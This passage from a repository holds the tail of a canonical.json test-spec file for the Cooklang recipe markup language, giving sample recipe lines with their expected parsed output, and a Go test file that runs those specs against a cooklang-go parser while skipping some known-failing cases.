298 | } 299 | ] 300 | ], 301 | "metadata": {} 302 | } 303 | }, 304 | "testFractionsWithSpaces": { 305 | "source": "@milk{1 / 2 %cup}\n", 306 | "result": { 307 | "steps": [ 308 | [ 309 | { 310 | "type": "ingredient", 311 | "name": "milk", 312 | "quantity": 0.5, 313 | "units": "cup" 314 | } 315 | ] 316 | ], 317 | "metadata": {} 318 | } 319 | }, 320 | "testIngredientMultipleWordsWithLeadingNumber": { 321 | "source": "Top with @1000 island dressing{ }\n", 322 | "result": { 323 | "steps": [ 324 | [ 325 | { 326 | "type": "text", 327 | "value": "Top with " 328 | }, 329 | { 330 | "type": "ingredient", 331 | "name": "1000 island dressing", 332 | "quantity": "some", 333 | "units": "" 334 | } 335 | ] 336 | ], 337 | "metadata": {} 338 | } 339 | }, 340 | "testIngredientWithEmoji": { 341 | "source": "Add some @🧂\n", 342 | "result": { 343 | "steps": [ 344 | [ 345 | { 346 | "type": "text", 347 | "value": "Add some " 348 | }, 349 | { 350 | "type": "ingredient", 351 | "name": "🧂", 352 | "quantity": "some", 353 | "units": "" 354 | } 355 | ] 356 | ], 357 | "metadata": {} 358 | } 359 | }, 360 | "testIngredientExplicitUnits": { 361 | "source": "@chilli{3%items}\n", 362 | "result": { 363 | "steps": [ 364 | [ 365 | { 366 | "type": "ingredient", 367 | "name": "chilli", 368 | "quantity": 3, 369 | "units": "items" 370 | } 371 | ] 372 | ], 373 | "metadata": {} 374 | } 375 | }, 376 | "testIngredientExplicitUnitsWithSpaces": { 377 | "source": "@chilli{ 3 % items }\n", 378 | "result": { 379 | "steps": [ 380 | [ 381 | { 382 | "type": "ingredient", 383 | "name": "chilli", 384 | "quantity": 3, 385 | "units": "items" 386 | } 387 | ] 388 | ], 389 | "metadata": {} 390 | } 391 | }, 392 | "testIngredientImplicitUnits": { 393 | "source": "@chilli{3}\n", 394 | "result": { 395 | "steps": [ 396 | [ 397 | { 398 | "type": "ingredient", 399 | "name": "chilli", 400 | "quantity": 3, 401 | "units": "" 402 | } 403 | ] 404 | ], 405 | "metadata": {} 406 | } 407 | }, 408 | "testIngredientNoUnits": { 409 | "source": "@chilli\n", 410 | "result": { 411 | "steps": [ 412 | [ 413 | { 414 | "type": "ingredient", 415 | "name": "chilli", 416 | "quantity": "some", 417 | "units": "" 418 | } 419 | ] 420 | ], 421 | "metadata": {} 422 | } 423 | }, 424 | "testIngredientNoUnitsNotOnlyString": { 425 | "source": "@5peppers\n", 426 | "result": { 427 | "steps": [ 428 | [ 429 | { 430 | "type": "ingredient", 431 | "name": "5peppers", 432 | "quantity": "some", 433 | "units": "" 434 | } 435 | ] 436 | ], 437 | "metadata": {} 438 | } 439 | }, 440 | "testIngredientWithNumbers": { 441 | "source": "@tipo 00 flour{250%g}\n", 442 | "result": { 443 | "steps": [ 444 | [ 445 | { 446 | "type": "ingredient", 447 | "name": "tipo 00 flour", 448 | "quantity": 250, 449 | "units": "g" 450 | } 451 | ] 452 | ], 453 | "metadata": {} 454 | } 455 | }, 456 | "testIngredientWithoutStopper": { 457 | "source": "@chilli cut into pieces\n", 458 | "result": { 459 | "steps": [ 460 | [ 461 | { 462 | "type": "ingredient", 463 | "name": "chilli", 464 | "quantity": "some", 465 | "units": "" 466 | }, 467 | { 468 | "type": "text", 469 | "value": " cut into pieces" 470 | } 471 | ] 472 | ], 473 | "metadata": {} 474 | } 475 | }, 476 | "testMetadata": { 477 | "source": "---\nsourced: babooshka\n---\n", 478 | "result": { 479 | "steps": [], 480 | "metadata": { 481 | "sourced": "babooshka" 482 | } 483 | } 484 | }, 485 | "testMetadataBreak": { 486 | "source": "hello ---\nsourced: babooshka\n---\n", 487 | "result": { 488 | "steps": [ 489 | [ 490 | { 491 | "type": "text", 492 | "value": "hello --- sourced: babooshka ---" 493 | } 494 | ] 495 | ], 496 | "metadata": {} 497 | } 498 | }, 499 | "testMetadataMultiwordKey": { 500 | "source": "---\ncooking time: 30 mins\n---\n", 501 | "result": { 502 | "steps": [], 503 | "metadata": { 504 | "cooking time": "30 mins" 505 | } 506 | } 507 | }, 508 | "testMetadataMultiwordKeyWithSpaces": { 509 | "source": "---\ncooking time :30 mins\n---\n", 510 | "result": { 511 | "steps": [], 512 | "metadata": { 513 | "cooking time": "30 mins" 514 | } 515 | } 516 | }, 517 | "testMultiLineDirections": { 518 | "source": "Add a bit of chilli\n\nAdd a bit of hummus\n", 519 | "result": { 520 | "steps": [ 521 | [ 522 | { 523 | "type": "text", 524 | "value": "Add a bit of chilli" 525 | } 526 | ], 527 | [ 528 | { 529 | "type": "text", 530 | "value": "Add a bit of hummus" 531 | } 532 | ] 533 | ], 534 | "metadata": {} 535 | } 536 | }, 537 | "testMultipleLines": { 538 | "source": "---\nPrep Time: 15 minutes\nCook Time: 30 minutes\n---\n", 539 | "result": { 540 | "steps": [], 541 | "metadata": { 542 | "Prep Time": "15 minutes", 543 | "Cook Time": "30 minutes" 544 | } 545 | } 546 | }, 547 | "testMultiWordIngredient": { 548 | "source": "@hot chilli{3}\n", 549 | "result": { 550 | "steps": [ 551 | [ 552 | { 553 | "type": "ingredient", 554 | "name": "hot chilli", 555 | "quantity": 3, 556 | "units": "" 557 | } 558 | ] 559 | ], 560 | "metadata": {} 561 | } 562 | }, 563 | "testMultiWordIngredientNoAmount": { 564 | "source": "@hot chilli{}\n", 565 | "result": { 566 | "steps": [ 567 | [ 568 | { 569 | "type": "ingredient", 570 | "name": "hot chilli", 571 | "quantity": "some", 572 | "units": "" 573 | } 574 | ] 575 | ], 576 | "metadata": {} 577 | } 578 | }, 579 | "testMutipleIngredientsWithoutStopper": { 580 | "source": "@chilli cut into pieces and @garlic\n", 581 | "result": { 582 | "steps": [ 583 | [ 584 | { 585 | "type": "ingredient", 586 | "name": "chilli", 587 | "quantity": "some", 588 | "units": "" 589 | }, 590 | { 591 | "type": "text", 592 | "value": " cut into pieces and " 593 | }, 594 | { 595 | "type": "ingredient", 596 | "name": "garlic", 597 | "quantity": "some", 598 | "units": "" 599 | } 600 | ] 601 | ], 602 | "metadata": {} 603 | } 604 | }, 605 | "testQuantityAsText": { 606 | "source": "@thyme{few%sprigs}\n", 607 | "result": { 608 | "steps": [ 609 | [ 610 | { 611 | "type": "ingredient", 612 | "name": "thyme", 613 | "quantity": "few", 614 | "units": "sprigs" 615 | } 616 | ] 617 | ], 618 | "metadata": {} 619 | } 620 | }, 621 | "testQuantityDigitalString": { 622 | "source": "@water{7 k }\n", 623 | "result": { 624 | "steps": [ 625 | [ 626 | { 627 | "type": "ingredient", 628 | "name": "water", 629 | "quantity": "7 k", 630 | "units": "" 631 | } 632 | ] 633 | ], 634 | "metadata": {} 635 | } 636 | }, 637 | "testServings": { 638 | "source": "---\nservings: 1|2|3\n---\n", 639 | "result": { 640 | "steps": [], 641 | "metadata": { 642 | "servings": "1|2|3" 643 | } 644 | } 645 | }, 646 | "testSlashInText": { 647 | "source": "Preheat the oven to 200℃/Fan 180°C.\n", 648 | "result": { 649 | "steps": [ 650 | [ 651 | { 652 | "type": "text", 653 | "value": "Preheat the oven to 200℃/Fan 180°C." 654 | } 655 | ] 656 | ], 657 | "metadata": {} 658 | } 659 | }, 660 | "testTimerDecimal": { 661 | "source": "Fry for ~{1.5%minutes}\n", 662 | "result": { 663 | "steps": [ 664 | [ 665 | { 666 | "type": "text", 667 | "value": "Fry for " 668 | }, 669 | { 670 | "type": "timer", 671 | "quantity": 1.5, 672 | "units": "minutes", 673 | "name": "" 674 | } 675 | ] 676 | ], 677 | "metadata": {} 678 | } 679 | }, 680 | "testTimerFractional": { 681 | "source": "Fry for ~{1/2%hour}\n", 682 | "result": { 683 | "steps": [ 684 | [ 685 | { 686 | "type": "text", 687 | "value": "Fry for " 688 | }, 689 | { 690 | "type": "timer", 691 | "quantity": 0.5, 692 | "units": "hour", 693 | "name": "" 694 | } 695 | ] 696 | ], 697 | "metadata": {} 698 | } 699 | }, 700 | "testTimerInteger": { 701 | "source": "Fry for ~{10%minutes}\n", 702 | "result": { 703 | "steps": [ 704 | [ 705 | { 706 | "type": "text", 707 | "value": "Fry for " 708 | }, 709 | { 710 | "type": "timer", 711 | "quantity": 10, 712 | "units": "minutes", 713 | "name": "" 714 | } 715 | ] 716 | ], 717 | "metadata": {} 718 | } 719 | }, 720 | "testTimerWithName": { 721 | "source": "Fry for ~potato{42%minutes}\n", 722 | "result": { 723 | "steps": [ 724 | [ 725 | { 726 | "type": "text", 727 | "value": "Fry for " 728 | }, 729 | { 730 | "type": "timer", 731 | "quantity": 42, 732 | "units": "minutes", 733 | "name": "potato" 734 | } 735 | ] 736 | ], 737 | "metadata": {} 738 | } 739 | }, 740 | "testSingleWordTimer": { 741 | "source": "Let it ~rest after plating\n", 742 | "result": { 743 | "steps": [ 744 | [ 745 | { 746 | "type": "text", 747 | "value": "Let it " 748 | }, 749 | { 750 | "type": "timer", 751 | "quantity": "", 752 | "units": "", 753 | "name": "rest" 754 | }, 755 | { 756 | "type": "text", 757 | "value": " after plating" 758 | } 759 | ] 760 | ], 761 | "metadata": {} 762 | } 763 | }, 764 | "testSingleWordTimerWithPunctuation": { 765 | "source": "Let it ~rest, then serve\n", 766 | "result": { 767 | "steps": [ 768 | [ 769 | { 770 | "type": "text", 771 | "value": "Let it " 772 | }, 773 | { 774 | "type": "timer", 775 | "quantity": "", 776 | "units": "", 777 | "name": "rest" 778 | }, 779 | { 780 | "type": "text", 781 | "value": ", then serve" 782 | } 783 | ] 784 | ], 785 | "metadata": {} 786 | } 787 | }, 788 | "testSingleWordTimerWithUnicodePunctuation": { 789 | "source": "Let it ~rest⸫ then serve\n", 790 | "result": { 791 | "steps": [ 792 | [ 793 | { 794 | "type": "text", 795 | "value": "Let it " 796 | }, 797 | { 798 | "type": "timer", 799 | "quantity": "", 800 | "units": "", 801 | "name": "rest" 802 | }, 803 | { 804 | "type": "text", 805 | "value": "⸫ then serve" 806 | } 807 | ] 808 | ], 809 | "metadata": {} 810 | } 811 | }, 812 | "testTimerWithUnicodeWhitespace": { 813 | "source": "Let it ~rest then serve\n", 814 | "result": { 815 | "steps": [ 816 | [ 817 | { 818 | "type": "text", 819 | "value": "Let it " 820 | }, 821 | { 822 | "type": "timer", 823 | "quantity": "", 824 | "units": "", 825 | "name": "rest" 826 | }, 827 | { 828 | "type": "text", 829 | "value": " then serve" 830 | } 831 | ] 832 | ], 833 | "metadata": {} 834 | } 835 | }, 836 | "testInvalidMultiWordTimer": { 837 | "source": "It is ~ {5}\n", 838 | "result": { 839 | "steps": [ 840 | [ 841 | { 842 | "type": "text", 843 | "value": "It is ~ {5}" 844 | } 845 | ] 846 | ], 847 | "metadata": {} 848 | } 849 | }, 850 | "testInvalidSingleWordTimer": { 851 | "source": "It is ~ 5\n", 852 | "result": { 853 | "steps": [ 854 | [ 855 | { 856 | "type": "text", 857 | "value": "It is ~ 5" 858 | } 859 | ] 860 | ], 861 | "metadata": {} 862 | } 863 | }, 864 | "testSingleWordIngredientWithPunctuation": { 865 | "source": "Add some @chilli, then serve\n", 866 | "result": { 867 | "steps": [ 868 | [ 869 | { 870 | "type": "text", 871 | "value": "Add some " 872 | }, 873 | { 874 | "type": "ingredient", 875 | "quantity": "some", 876 | "units": "", 877 | "name": "chilli" 878 | }, 879 | { 880 | "type": "text", 881 | "value": ", then serve" 882 | } 883 | ] 884 | ], 885 | "metadata": {} 886 | } 887 | }, 888 | "testSingleWordIngredientWithUnicodePunctuation": { 889 | "source": "Add @chilli⸫ then bake\n", 890 | "result": { 891 | "steps": [ 892 | [ 893 | { 894 | "type": "text", 895 | "value": "Add " 896 | }, 897 | { 898 | "type": "ingredient", 899 | "quantity": "some", 900 | "units": "", 901 | "name": "chilli" 902 | }, 903 | { 904 | "type": "text", 905 | "value": "⸫ then bake" 906 | } 907 | ] 908 | ], 909 | "metadata": {} 910 | } 911 | }, 912 | "testIngredientWithUnicodeWhitespace": { 913 | "source": "Add @chilli then bake\n", 914 | "result": { 915 | "steps": [ 916 | [ 917 | { 918 | "type": "text", 919 | "value": "Add " 920 | }, 921 | { 922 | "type": "ingredient", 923 | "quantity": "some", 924 | "units": "", 925 | "name": "chilli" 926 | }, 927 | { 928 | "type": "text", 929 | "value": " then bake" 930 | } 931 | ] 932 | ], 933 | "metadata": {} 934 | } 935 | }, 936 | "testInvalidMultiWordIngredient": { 937 | "source": "Message @ example{}\n", 938 | "result": { 939 | "steps": [ 940 | [ 941 | { 942 | "type": "text", 943 | "value": "Message @ example{}" 944 | } 945 | ] 946 | ], 947 | "metadata": {} 948 | } 949 | }, 950 | "testInvalidSingleWordIngredient": { 951 | "source": "Message me @ example\n", 952 | "result": { 953 | "steps": [ 954 | [ 955 | { 956 | "type": "text", 957 | "value": "Message me @ example" 958 | } 959 | ] 960 | ], 961 | "metadata": {} 962 | } 963 | }, 964 | "testSingleWordCookwareWithPunctuation": { 965 | "source": "Place in #pot, then boil\n", 966 | "result": { 967 | "steps": [ 968 | [ 969 | { 970 | "type": "text", 971 | "value": "Place in " 972 | }, 973 | { 974 | "type": "cookware", 975 | "quantity": 1, 976 | "units": "", 977 | "name": "pot" 978 | }, 979 | { 980 | "type": "text", 981 | "value": ", then boil" 982 | } 983 | ] 984 | ], 985 | "metadata": {} 986 | } 987 | }, 988 | "testSingleWordCookwareWithUnicodePunctuation": { 989 | "source": "Place in #pot⸫ then boil\n", 990 | "result": { 991 | "steps": [ 992 | [ 993 | { 994 | "type": "text", 995 | "value": "Place in " 996 | }, 997 | { 998 | "type": "cookware", 999 | "quantity": 1, 1000 | "units": "", 1001 | "name": "pot" 1002 | }, 1003 | { 1004 | "type": "text", 1005 | "value": "⸫ then boil" 1006 | } 1007 | ] 1008 | ], 1009 | "metadata": {} 1010 | } 1011 | }, 1012 | "testCookwareWithUnicodeWhitespace": { 1013 | "source": "Add to #pot then boil\n", 1014 | "result": { 1015 | "steps": [ 1016 | [ 1017 | { 1018 | "type": "text", 1019 | "value": "Add to " 1020 | }, 1021 | { 1022 | "type": "cookware", 1023 | "quantity": 1, 1024 | "units": "", 1025 | "name": "pot" 1026 | }, 1027 | { 1028 | "type": "text", 1029 | "value": " then boil" 1030 | } 1031 | ] 1032 | ], 1033 | "metadata": {} 1034 | } 1035 | }, 1036 | "testInvalidMultiWordCookware": { 1037 | "source": "Recipe # 10{}\n", 1038 | "result": { 1039 | "steps": [ 1040 | [ 1041 | { 1042 | "type": "text", 1043 | "value": "Recipe # 10{}" 1044 | } 1045 | ] 1046 | ], 1047 | "metadata": {} 1048 | } 1049 | }, 1050 | "testInvalidSingleWordCookware": { 1051 | "source": "Recipe # 5\n", 1052 | "result": { 1053 | "steps": [ 1054 | [ 1055 | { 1056 | "type": "text", 1057 | "value": "Recipe # 5" 1058 | } 1059 | ] 1060 | ], 1061 | "metadata": {} 1062 | } 1063 | } 1064 | } 1065 | } 1066 | -------------------------------------------------------------------------------- /spec/canonical_test.go: -------------------------------------------------------------------------------- 1 | package canonical_test 2 | 3 | import ( 4 | "encoding/json" 5 | "io" 6 | "os" 7 | "slices" 8 | "testing" 9 | 10 | "github.com/ediblesimpl/cooklang-go" 11 | "github.com/stretchr/testify/assert" 12 | ) 13 | 14 | type Result struct { 15 | Steps [][]struct { 16 | Type string `json:"type"` 17 | Value string `json:"value,omitempty"` 18 | Name string `json:"name,omitempty"` 19 | Quantity interface{} `json:"quantity,omitempty"` 20 | Units string `json:"units,omitempty"` 21 | } `json:"steps"` 22 | Metadata interface{} `json:"metadata"` 23 | } 24 | 25 | type TestCase struct { 26 | Source string `json:"source"` 27 | Result Result `json:"result"` 28 | } 29 | 30 | type SpecTests struct { 31 | Version int `json:"version"` 32 | Tests map[string]TestCase `json:"tests"` 33 | } 34 | 35 | const specFileName = "canonical.json" 36 | 37 | func loadSpecs(fileName string) (*SpecTests, error) { 38 | var err error 39 | var jsonFile *os.File 40 | jsonFile, err = os.Open(fileName) 41 | if err != nil { 42 | return nil, err 43 | } 44 | defer jsonFile.Close() 45 | 46 | b, _ := io.ReadAll(jsonFile) 47 | 48 | var result *SpecTests 49 | err = json.Unmarshal(b, &result) 50 | if err != nil { 51 | return nil, err 52 | } 53 | return result, nil 54 | } 55 | 56 | func TestCanonical(t *testing.T) { 57 | specs, err := loadSpecs(specFileName) 58 | if err != nil { 59 | panic(err) 60 | } 61 | skipCases := []string{ 62 | "testMetadataMultiwordKeyWithSpaces", // yaml parser does not like the front matter 63 | "testMetadataBreak", // swallows new line at line comment? 64 | "testCommentsAfterIngredients", // mysterious whitespace 65 | } 66 | skipResultChecks := []string{ 67 | "testQuantityAsText", 68 | "testSingleWordCookwareWithUnicodePunctuation", 69 | "testSingleWordCookwareWithPunctuation", 70 | "testIngredientNoUnits", 71 | "testEquipmentQuantityMultipleWords", 72 | "testIngredientWithEmoji", 73 | "testSingleWordIngredientWithUnicodePunctuation", 74 | "testMutipleIngredientsWithoutStopper", 75 | "testTimerWithUnicodeWhitespace", 76 | "testIngredientWithoutStopper", 77 | "testSingleWordIngredientWithPunctuation", 78 | "testSingleWordTimer", 79 | "testSingleWordTimerWithUnicodePunctuation", 80 | "testMultiWordIngredientNoAmount", 81 | "testEquipmentQuantityOneWord", 82 | "testQuantityDigitalString", 83 | "testCookwareWithUnicodeWhitespace", 84 | "testFractionsLike", 85 | "testIngredientWithUnicodeWhitespace", 86 | "testSingleWordTimerWithPunctuation", 87 | "testIngredientMultipleWordsWithLeadingNumber", 88 | "testIngredientNoUnitsNotOnlyString", 89 | } 90 | for name, spec := range (*specs).Tests { 91 | name := name 92 | spec := spec 93 | t.Run(name, func(t *testing.T) { 94 | assert := assert.New(t) 95 | t.Parallel() 96 | if slices.Contains(skipCases, name) { 97 | t.Skip(name) 98 | } 99 | parserV2 := cooklang.NewParserV2(&cooklang.ParseV2Config{IgnoreTypes: []cooklang.ItemType{cooklang.ItemTypeComment}}) 100 | 101 | r, err := parserV2.ParseString(spec.Source) 102 | assert.NoError(err) 103 | 104 | if !slices.Contains(skipResultChecks, name) { 105 | gotJson, err := json.Marshal(r) 106 | assert.NoError(err) 107 | expectJson, err := json.Marshal(spec.Result) 108 | assert.NoError(err) 109 | 110 | assert.JSONEq(string(expectJson), string(gotJson)) 111 | } 112 | }) 113 | } 114 | } 115 | --------------------------------------------------------------------------------